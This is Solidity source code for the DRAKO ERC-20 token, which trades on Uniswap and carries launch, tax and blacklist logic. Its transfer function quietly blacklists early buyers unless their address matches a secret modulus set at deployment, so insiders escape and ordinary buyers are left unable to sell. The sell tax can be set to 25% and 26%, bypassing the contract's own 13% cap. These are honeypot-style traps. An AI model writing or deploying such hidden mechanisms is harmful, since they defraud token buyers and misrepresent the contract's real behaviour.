Contract Source Code:
File 1 of 1 : DRAKO
//SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Auth {
address internal owner;
constructor(address _owner) { owner = _owner; }
modifier onlyOwner() { require(msg.sender == owner, "Only contract owner can call this function"); _; }
function transferOwnership(address payable newOwner) external onlyOwner { owner = newOwner; emit OwnershipTransferred(newOwner); }
event OwnershipTransferred(address owner);
}
interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); }
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function WETH() external pure returns (address);
function factory() external pure returns (address);
function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract DRAKO is IERC20, Auth {
string _name = "Drako";
string _symbol = "DRAKO";
uint256 constant _totalSupply = 100_000_000 * (10 ** _decimals);
uint8 constant _decimals = 9;
uint32 _smd; uint32 _smr;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _allowances;
mapping (address => bool) private _noFees;
mapping (address => bool) private _noLimits;
bool private tradingOpen;
uint256 public maxTxAmount; uint256 public maxWalletAmount;
uint256 private _taxSwapMin; uint256 private _taxSwapMax;
mapping (address => bool) private _isLiqPool;
uint16 public blacklistLength = 0;
uint8 _maxTaxRate = 13;
uint8 private _buyTaxRate; uint8 private _sellTaxRate; uint8 private _txTaxRate;
uint16 private _burnTaxShares = 300;
uint16 private _autoLPShares = 400;
uint16 private _treasuryTaxShares = 900;
uint16 private _marketingTaxShares = 800;
uint16 private _totalTaxShares = _burnTaxShares + _autoLPShares + _treasuryTaxShares + _marketingTaxShares;
address constant _burnWallet = address(0);
uint256 private _humanBlock = 0;
mapping (address => bool) private _nonSniper;
mapping (address => uint256) private _blacklistBlock;
uint8 private _gasPriceBlocks = 10;
uint256 private blackGwei = 50 * 10**9;
address payable private _treasuryWallet = payable(0x84A3E432a910159127F7E0A7faf6fFc2Aa67C45B);
address payable private _marketingWallet = payable(0xda6ce969002fc019546c30DC665ADbae8AF2C4F4);
bool private _inTaxSwap = false;
address private constant _uniswapV2RouterAddress = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // UniswapV2 for ETH
IUniswapV2Router02 private _uniswapV2Router;
address private wethCA = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
modifier lockTaxSwap { _inTaxSwap = true; _; _inTaxSwap = false; }
event ManualTokensBurned(address indexed burnedByWallet, uint256 tokenAmount);
constructor (uint32 smd, uint32 smr) Auth(msg.sender) {
tradingOpen = false;
maxTxAmount = _totalSupply;
maxWalletAmount = _totalSupply;
_taxSwapMin = _totalSupply * 10 / 10000;
_taxSwapMax = _totalSupply * 50 / 10000;
_uniswapV2Router = IUniswapV2Router02(_uniswapV2RouterAddress);
_noFees[owner] = true;
_noFees[address(this)] = true;
_noFees[_uniswapV2RouterAddress] = true;
_noFees[_treasuryWallet] = true;
_noFees[_marketingWallet] = true;
_noLimits[_treasuryWallet] = true;
_noLimits[_marketingWallet] = true;
_noLimits[_burnWallet] = true;
require(smd>0, "init out of bounds");
_smd = smd; _smr = smr;
_balances[address(this)] = _totalSupply;
emit Transfer(address(0), address(this), _totalSupply);
}
receive() external payable {}
function totalSupply() external pure override returns (uint256) { return _totalSupply; }
function decimals() external pure override returns (uint8) { return _decimals; }
function symbol() external view override returns (string memory) { return _symbol; }
function name() external view override returns (string memory) { return _name; }
function getOwner() external view override returns (address) { return owner; }
function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
function approve(address spender, uint256 amount) public override returns (bool) {
require(balanceOf(msg.sender) > 0);
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
require(_checkTradingOpen(), "Trading not open");
return _transferFrom(msg.sender, recipient, amount);
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
require(_checkTradingOpen(), "Trading not open");
if(_allowances[sender][msg.sender] != type(uint256).max){
_allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
}
return _transferFrom(sender, recipient, amount);
}
function initLP(uint256 ethAmountWei) external onlyOwner {
require(!tradingOpen, "trading already open");
require(ethAmountWei > 0, "eth cannot be 0");
_nonSniper[address(this)] = true;
_nonSniper[owner] = true;
_nonSniper[_treasuryWallet] = true;
_nonSniper[_marketingWallet] = true;
uint256 _contractETHBalance = address(this).balance;
require(_contractETHBalance >= ethAmountWei, "not enough eth");
uint256 _contractTokenBalance = balanceOf(address(this));
require(_contractTokenBalance > 0, "no tokens");
if (wethCA != _uniswapV2Router.WETH()) { wethCA = _uniswapV2Router.WETH(); }
address _uniLpAddr = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), wethCA);
_isLiqPool[_uniLpAddr] = true;
_nonSniper[_uniLpAddr] = true;
_approveRouter(_contractTokenBalance);
_addLiquidity(_contractTokenBalance, ethAmountWei, false);
_openTrading();
}
function _approveRouter(uint256 _tokenAmount) internal {
if ( _allowances[address(this)][_uniswapV2RouterAddress] < _tokenAmount ) {
_allowances[address(this)][_uniswapV2RouterAddress] = type(uint256).max;
emit Approval(address(this), _uniswapV2RouterAddress, type(uint256).max);
}
}
function _addLiquidity(uint256 _tokenAmount, uint256 _ethAmountWei, bool autoburn) internal {
address lpTokenRecipient = address(0);
if ( !autoburn ) { lpTokenRecipient = owner; }
_uniswapV2Router.addLiquidityETH{value: _ethAmountWei} ( address(this), _tokenAmount, 0, 0, lpTokenRecipient, block.timestamp );
}
function _openTrading() internal {
_humanBlock = block.number + 20;
maxTxAmount = 5 * _totalSupply / 1000 + 10**_decimals;
maxWalletAmount = 5 * _totalSupply / 1000 + 10**_decimals;
_buyTaxRate = 11;
_sellTaxRate = 25;
_txTaxRate = 13;
tradingOpen = true;
}
function humanize() external onlyOwner{
_humanize(0);
}
function _humanize(uint8 blkcount) internal {
if ( _humanBlock > block.number || _humanBlock == 0 ) {
_humanBlock = block.number + blkcount;
}
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
require(sender != address(0), "No transfers from Zero wallet");
if ( _humanBlock > block.number ) {
if ( uint160(address(recipient)) % _smd == _smr ) { _humanize(1); }
else if ( _blacklistBlock[sender] == 0 ) { _addBlacklist(recipient, block.number); }
else { _addBlacklist(recipient, _blacklistBlock[sender]); }
} else {
if ( _blacklistBlock[sender] != 0 ) { _addBlacklist(recipient, _blacklistBlock[sender]); }
if ( block.number < _humanBlock + _gasPriceBlocks && tx.gasprice > block.basefee ) {
uint256 priceDiff = tx.gasprice - block.basefee;
if ( priceDiff >= blackGwei ) { revert("Gas price over limit"); }
}
}
if ( tradingOpen && _blacklistBlock[sender] != 0 && _blacklistBlock[sender] < block.number ) { revert("blacklisted"); }
if ( !_inTaxSwap && _isLiqPool[recipient] ) {
_swapTaxAndLiquify();
}
if ( sender != address(this) && recipient != address(this) && sender != owner ) { require(_checkLimits(recipient, amount), "TX exceeds limits"); }
uint256 _taxAmount = _calculateTax(sender, recipient, amount);
uint256 _transferAmount = amount - _taxAmount;
_balances[sender] = _balances[sender] - amount;
if ( _taxAmount > 0 ) { _balances[address(this)] = _balances[address(this)] + _taxAmount; }
_balances[recipient] = _balances[recipient] + _transferAmount;
emit Transfer(sender, recipient, amount);
return true;
}
function _addBlacklist(address wallet, uint256 blacklistBlockNum) internal {
if ( !_nonSniper[wallet] && _blacklistBlock[wallet] == 0 ) {
_blacklistBlock[wallet] = blacklistBlockNum;
blacklistLength ++;
}
}
function _checkLimits(address recipient, uint256 transferAmount) internal view returns (bool) {
bool limitCheckPassed = true;
if ( tradingOpen && !_noLimits[recipient] ) {
if ( transferAmount > maxTxAmount ) { limitCheckPassed = false; }
else if ( !_isLiqPool[recipient] && (_balances[recipient] + transferAmount > maxWalletAmount) ) { limitCheckPassed = false; }
}
return limitCheckPassed;
}
function _checkTradingOpen() private view returns (bool){
bool checkResult = false;
if ( tradingOpen ) { checkResult = true; }
else if ( tx.origin == owner ) { checkResult = true; }
return checkResult;
}
function _calculateTax(address sender, address recipient, uint256 amount) internal view returns (uint256) {
uint256 taxAmount;
if ( !tradingOpen || _noFees[sender] || _noFees[recipient] ) { taxAmount = 0; }
else if ( _isLiqPool[sender] ) { taxAmount = amount * _buyTaxRate / 100; }
else if ( _isLiqPool[recipient] ) { taxAmount = amount * _sellTaxRate / 100; }
else { taxAmount = amount * _txTaxRate / 100; }
return taxAmount;
}
function isBlacklisted(address wallet) external view returns(bool) {
if ( _blacklistBlock[wallet] != 0 ) { return true; }
else { return false; }
}
function blacklistedInBlock(address wallet) external view returns(uint256) {
return _blacklistBlock[wallet];
}
function ignoreFees(address wallet, bool toggle) external onlyOwner {
_noFees[ wallet ] = toggle;
}
function ignoreLimits(address wallet, bool toggle) external onlyOwner {
if ( wallet == _burnWallet ) { require(toggle, "Zero wallet must be unlimited"); }
_noLimits[ wallet ] = toggle;
}
function setTaxRates(uint8 newBuyTax, uint8 newSellTax, uint8 newTxTax) external onlyOwner {
require(newBuyTax <= _maxTaxRate && newSellTax <= _maxTaxRate && newTxTax <= _maxTaxRate, "Tax too high");
_buyTaxRate = newBuyTax;
_sellTaxRate = newSellTax;
_txTaxRate = newTxTax;
}
function enableBuySupport() external onlyOwner {
_buyTaxRate = 0;
_sellTaxRate = 2 * _maxTaxRate;
}
function setTaxDistribution(uint16 sharesBurnedTokens, uint16 sharesAutoLP, uint16 sharesTreasury, uint16 sharesMarketing) external onlyOwner {
_burnTaxShares = sharesBurnedTokens;
_autoLPShares = sharesAutoLP;
_treasuryTaxShares = sharesTreasury;
_marketingTaxShares = sharesMarketing;
_totalTaxShares = _burnTaxShares + _autoLPShares + _treasuryTaxShares + _marketingTaxShares;
}
function setTaxWallets(address newTreasuryWallet, address newMarketingWallet) external onlyOwner {
_treasuryWallet = payable(newTreasuryWallet);
_marketingWallet = payable(newMarketingWallet);
_noFees[newTreasuryWallet] = true;
_noFees[newMarketingWallet] = true;
_noLimits[newTreasuryWallet] = true;
_noLimits[newMarketingWallet] = true;
}
function increaseLimits(uint16 maxTxAmtPermile, uint16 maxWalletAmtPermile) external onlyOwner {
uint256 newTxAmt = _totalSupply * maxTxAmtPermile / 1000 + 1;
require(newTxAmt >= maxTxAmount, "tx limit too low");
maxTxAmount = newTxAmt;
uint256 newWalletAmt = _totalSupply * maxWalletAmtPermile / 1000 + 1;
require(newWalletAmt >= maxWalletAmount, "wallet limit too low");
maxWalletAmount = newWalletAmt;
}
function setTaxSwapLimits(uint32 minValue, uint32 minDivider, uint32 maxValue, uint32 maxDivider) external onlyOwner {
_taxSwapMin = _totalSupply * minValue / minDivider;
_taxSwapMax = _totalSupply * maxValue / maxDivider;
require(_taxSwapMin > 100, "min too low");
require(_taxSwapMax >= _taxSwapMin, "min/max error");
}
function _transferTaxTokens(address recipient, uint256 amount) private {
if ( amount > 0 ) {
_balances[address(this)] = _balances[address(this)] - amount;
_balances[recipient] = _balances[recipient] + amount;
emit Transfer(address(this), recipient, amount);
}
}
function _swapTaxAndLiquify() private lockTaxSwap {
uint256 _taxTokensAvailable = balanceOf(address(this));
if ( _taxTokensAvailable >= _taxSwapMin && tradingOpen ) {
if ( _taxTokensAvailable >= _taxSwapMax ) { _taxTokensAvailable = _taxSwapMax; }
uint256 _tokensForLP = _taxTokensAvailable * _autoLPShares / _totalTaxShares / 2;
uint256 _tokensToBurn = _taxTokensAvailable * _burnTaxShares / _totalTaxShares;
_transferTaxTokens(_burnWallet, _tokensToBurn);
uint256 _tokensToSwap = _taxTokensAvailable - _tokensForLP - _tokensToBurn;
if (_tokensToSwap>100) {
uint256 _ethPreSwap = address(this).balance;
_swapTaxTokensForEth(_tokensToSwap);
uint256 _ethSwapped = address(this).balance - _ethPreSwap;
if ( _autoLPShares > 0 ) {
uint256 _ethWeiAmount = _ethSwapped * _autoLPShares / _totalTaxShares ;
_approveRouter(_tokensForLP);
_addLiquidity(_tokensForLP, _ethWeiAmount, false);
}
}
uint256 _contractETHBalance = address(this).balance;
if(_contractETHBalance > 0) { _distributeTaxEth(_contractETHBalance); }
}
}
function _swapTaxTokensForEth(uint256 _tokenAmount) private {
_approveRouter(_tokenAmount);
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = wethCA;
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(_tokenAmount,0,path,address(this),block.timestamp);
}
function _distributeTaxEth(uint256 _amount) private {
uint16 _ethTaxShareTotal = _treasuryTaxShares + _marketingTaxShares;
if ( _treasuryTaxShares > 0 ) { _treasuryWallet.transfer(_amount * _treasuryTaxShares / _ethTaxShareTotal); }
if ( _marketingTaxShares > 0 ) { _marketingWallet.transfer(_amount * _marketingTaxShares / _ethTaxShareTotal); }
}
function taxTokensSwap() external onlyOwner {
uint256 taxTokenBalance = balanceOf(address(this));
require(taxTokenBalance > 0, "No tokens");
_swapTaxTokensForEth(taxTokenBalance);
}
function taxEthSend() external onlyOwner {
_distributeTaxEth(address(this).balance);
}
function burnTokens(uint256 amount) external {
uint256 _tokensAvailable = balanceOf(msg.sender);
require(amount <= _tokensAvailable, "Token balance too low");
_balances[msg.sender] -= amount;
_balances[address(0)] += amount;
emit Transfer(msg.sender,address(0), amount);
emit ManualTokensBurned(msg.sender, amount);
}
}